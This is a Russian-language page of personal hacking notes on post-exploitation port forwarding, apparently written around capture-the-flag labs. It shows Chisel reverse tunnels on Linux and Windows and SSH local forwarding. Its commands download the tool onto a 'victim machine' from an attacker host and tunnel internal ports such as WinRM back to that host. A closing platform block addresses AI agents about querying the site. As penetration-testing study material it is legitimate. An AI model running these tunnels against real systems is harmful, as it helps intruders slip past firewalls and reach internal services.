> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/post-exploitation/port-forwarding-techniques.md).

# Техники проброса портов

{% hint style="info" %}
**Переадресация портов** это сетевая техника, которая перенаправляет соединения с определённого порта на одной машине на другую машину или порт. Это часто используется для доступа к внутренним службам извне, проходя через межсетевые экраны или маршрутизаторы.
{% endhint %}

<pre class="language-bash"><code class="lang-bash">netstat -tuln
<strong>netstat -ano | findstr LISTENING
</strong></code></pre>

## Chisel :

### Linux

Сначала мы скомпилировали Chisel на нашей локальной машине:

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
git clone https://github.com/jpillora/chisel
```

```bash
go build -ldflags "-s -w" .
upx chisel
```

Затем передайте исполняемый файл Chisel на машину-жертву через HTTP-сервер Python3:

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="/files/599735a7e28544859912a2833031210163ef4fb9" alt=""><figcaption></figcaption></figure>

На нашей машине мы запустили сервер Chisel:

<pre class="language-bash"><code class="lang-bash"><strong>./chisel server -p 8888 -reverse
</strong></code></pre>

На машине-жертве настройте клиент Chisel так, чтобы перенаправить порт 631 обратно на атакующую машину:

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="/files/20af74fffee1fbce972eed82f15efe059da513b1" alt="" width="563"><figcaption></figcaption></figure>

### Windows

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Загрузка и подготовка файлов:**/ Мы загрузили сжатые **Chisel** файлы, а именно:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

После извлечения файлов передайте **Chisel** двоичный файл на целевую Windows-машину:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/92078b610d8c5e6a14a13869f4c0c9ff4ad09675" alt=""><figcaption></figcaption></figure>

**Прослушивание на атакующей машине с помощью Chisel:**/ Запустите **Chisel** в режиме сервера на атакующей машине на порту 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Затем на Windows-машине выполните **Chisel** в режиме клиента и перенаправьте порт 5985 обратно на атакующую машину:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/9bf9f28d4398885ea3bb6f39df9f6e81da606b69" alt=""><figcaption></figcaption></figure>

## SSH :

Мы перенаправляем внутренние порты на нашу машину и используем приватный ключ пользователя, а также задаём правильные права доступа:

```bash
chmod 600 id_rsa
```

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

<figure><img src="/files/cdc6faed2677ea8b0544713006d3f522b44acd16" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/post-exploitation/port-forwarding-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
